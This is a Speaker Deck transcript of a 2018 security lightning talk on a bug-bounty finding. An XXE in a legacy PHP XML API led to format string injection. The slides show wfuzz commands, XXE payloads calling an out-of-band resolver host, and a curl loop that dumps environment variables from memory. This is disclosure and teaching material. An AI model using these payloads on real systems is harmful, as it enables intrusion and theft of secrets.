Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Web based format injection, dumping memory like...
Search
Frans Rosén
September 19, 2018
Research
0
90
Web based format injection, dumping memory like it's 99 (or "Please help")
My lightning talk from Sec-T Stockholm in September 2018.
Frans Rosén
September 19, 2018
Tweet
Share
More Decks by Frans Rosén
See All by Frans Rosén
X-Correlation Injections (or How to break server-side contexts)
fransrosen
0
1.1k
Story of a RCE on Apple through hot jar swapping
fransrosen
0
1k
Account hijacking using "dirty dancing" in sign-in OAuth-flows
fransrosen
0
200
A methodology using fuzzing and info disclosure
fransrosen
0
270
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
fransrosen
3
8.9k
A story of the passive aggressive sysadmin of AEM
fransrosen
0
8.1k
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
fransrosen
3
6.9k
Other Decks in Research
See All in Research
国際会議ACL2024参加報告
chemical_tree
1
430
Bluesky Game Dev
trezy
0
140
Practical The One Person Framework
asonas
1
2.1k
Weekly AI Agents News! 10月号 プロダクト/ニュースのアーカイブ
masatoto
1
190
[ECCV2024読み会] 衛星画像からの地上画像生成
elith
1
1.1k
2038年問題が思ったよりヤバい。検出ツールを作って脅威性評価してみた論文 | Kansai Open Forum 2024
ran350
8
3.8k
新規のC言語処理系を実装することによる 組込みシステム研究にもたらす価値 についての考察
zacky1972
1
320
TransformerによるBEV Perception
hf149
1
690
Remote Sensing Vision-Language Foundation Models without Annotations via Ground Remote Alignment
satai
2
120
Large Vision Language Model (LVLM) に関する最新知見まとめ (Part 1)
onely7
24
5.9k
Whoisの闇
hirachan
3
290
メールからの名刺情報抽出におけるLLM活用 / Use of LLM in extracting business card information from e-mails
sansan_randd
2
410
Featured
See All Featured
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
33
2.1k
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
193
16k
Agile that works and the tools we love
rasmusluckow
328
21k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
21
2.5k
Speed Design
sergeychernyshev
27
790
YesSQL, Process and Tooling at Scale
rocio
172
14k
Java REST API Framework Comparison - PWX 2021
mraible
28
8.4k
Designing for humans not robots
tammielis
250
25k
Mobile First: as difficult as doing things right
swwweet
223
9.3k
Rebuilding a faster, lazier Slack
samanthasiow
80
8.8k
The Illustrated Children's Guide to Kubernetes
chrisshort
48
49k
RailsConf 2023
tenderlove
29
1k
Transcript
@fransrosen Web based format injection, dumping memory like it's 99
or "Please help"
@fransrosen Public Bug Bounty
@fransrosen RCE is 30,000 USD
@fransrosen Methodology • Found a domain not like the other
ones
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting
path: /cgi-bin/default/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen xml_api?
@fransrosen xml_api?
@fransrosen xml_api? YEAH! 👍
@fransrosen wtf!?
@fransrosen XXE!
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???
@fransrosen
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.
@fransrosen Format String Injection?
@fransrosen Format String Injection ON ZE WEB?
@fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen I can’t handle this shit
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Limitations 0x20-0xFF (no 0x22)
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Want to collaborate? @fransrosen
@fransrosen Questions? Suggestions?
fransrosen
chemical_tree
trezy
asonas
masatoto
.png){kind=avatar}
elith
ran350
zacky1972
hf149
.png){kind=avatar}
satai
onely7
hirachan
sansan_randd
eileencodes
afnizarnur
rasmusluckow
sergeychernyshev
rocio
mraible
tammielis
swwweet
samanthasiow
chrisshort
tenderlove
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_27.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_28.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_33.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_34.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_35.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_36.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_37.jpg){kind=link}
